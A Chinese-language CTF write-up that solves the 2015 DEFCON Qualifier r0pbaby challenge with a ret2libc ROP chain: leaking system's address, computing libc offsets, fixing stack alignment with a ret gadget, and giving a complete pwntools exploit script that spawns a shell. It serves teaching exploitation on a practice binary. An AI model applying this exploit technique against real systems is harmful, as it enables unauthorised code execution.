pwntools使用实践第三弹——ret2libc

题目

2015-Defcon Qualifier R0pbaby
一个比较基础的rop链构造题目，题目链接如下：
https://github.com/ctfs/write-ups-2015/tree/master/defcon-qualifier-ctf-2015/babys-first/r0pbaby

题目分析

详细的分析可以参考这个博客：
DEFCON-2015-r0pbaby
大体步骤如下：

1. 首先checksec检查程序开启了哪些防护：
   
2. objdump检查是否有可以直接使用的函数（system、execve等）来拿shell

objdump -S  r0pbaby

啥都没有。。。
3. ROPgadget检查是否有可用的/bin/sh字符串：

ROPgadget --binary r0pbaby --string="/bin/sh"

还是啥都没。。。
5. 运行程序，发现有四个选项：

选项1可以得到libc的地址，选项2可以得到任意一个libc中的符号的地址，选项3应该是存在溢出的攻击点，选项4为退出

6. 思路为由选项2leak出system函数的地址，因为PIE不会改变最低12位的地址，也就是十六进制格式的最后三个数字是不会变的，因此可以通过对比libc中system符号的地址最后三位，找到使用的libc版本，使用libcSearch可以自动寻找，然后得到程序加载的基地址（选项2泄露的system地址-libc中system的偏移地址），进而可以得到/bin/sh字符串的地址（libc中有，使用基地址加上libc中的偏移地址即可）
7. 获得system和/bin/sh字符串地址之后，需要找一个gadget，把/bin/sh字符串的地址从栈上pop到rdi寄存器里，因为x64的函数参数传递，前六个参数依次从rdi、rsi、rdx、rcx、r8、r9寄存器中获取，超过六个参数才会从栈上获取
8. 分析溢出点，通过反编译程序代码，可以发现选项3实际上并不是一个溢出：
   
   saveregs是IDA的关键字，保存的实际上是函数的栈帧指针RBP的地址，也就是说输出会直接覆盖掉RBP的地址，因此如果我们输入的字符串长度超过8字节，就会覆盖掉RBP上面的返回地址
9. 综上我们的payload示例如下：

payload = b'a'*8(覆盖掉rbp，到达ret地址)+
pop_rdi(pop栈上数据到rdi寄存器)+
str_bin_addr(/bin/sh字符串地址)+
system_addr(system函数的地址)

ok，这样就可以写exp啦
真的可以了吗？

注意的坑！！！

如果直接使用上面给出的payload来写exp，有可能会遇到段错误：

使用gdb.attach()调试一下exp脚本，发现问题所在：

这个汇编的会检查当前栈内的值是否满足16字节对齐，而我们刚刚给出的payload，溢出了3*8=24字节内容：
pop_rdi+str_bin_addr+system_addr
因此我们需要再插入一个8字节内容来平衡栈
最简单的办法就是找一个ret的gadget放在pop_rdi之前：

最后我们得到的payload如下：

payload = b'a'*8(覆盖掉rbp，到达ret地址)+
ret_addr(平衡栈，保持16字节对齐)+
pop_rdi(pop栈上数据到rdi寄存器)+
str_bin_addr(/bin/sh字符串地址)+
system_addr(system函数的地址)

还有一点

因为程序开启了PIE，然后我们泄露的基地址是libc的，因此我们的gadget也要从libc中找

还有还有一点

注意合理使用pwntools的sendline和send，sendline默认会加上\n作为结尾。
程序会依次读取输入的所有字符，\n也会读入作为长度的一部分，也就是说如果我们设定字符长度为10，然后我们输入10个字符加回车确认，那么在读取完是个字符后，buf里还有一个回车符在，这样在下一轮选择中会直接识别到一个回车，会出现 Bad choise 错误：

其实通过逆向分析我们也能看出来，选项3存放字符串使用的buf跟存放选择1~4四个选项的buf是同一个，比如我们准备读取5个字符，但实际输入了6个，那么第6个字符会作为选项使用：

开始写exp：

ok，注意好上面的几点，我们就可以写exp了，完整的exp如下：

from pwn import *
p = process('./r0pbaby')
p.recvuntil(":")
p.recvuntil(":")
p.sendline("2")
p.recvuntil(": ")
p.sendline("system")
p.recvuntil(": ")
system_addr = int(p.recv(18), 16)

libc_base = system_addr - 0x4f550
bin_str_addr = libc_base + 0x1b3e1a
pop_rdi_addr = 0x215bf + libc_base
ret_addr = 0x8aa + libc_base
payload=b'a'*8 + p64(ret_addr) + p64(pop_rdi_addr) + p64(bin_str_addr) + p64(system_addr)
p.sendline("3")
p.recv("1024")
p.sendline(str(len(payload)))
p.sendline(payload)
p.interactive()

测试，完美：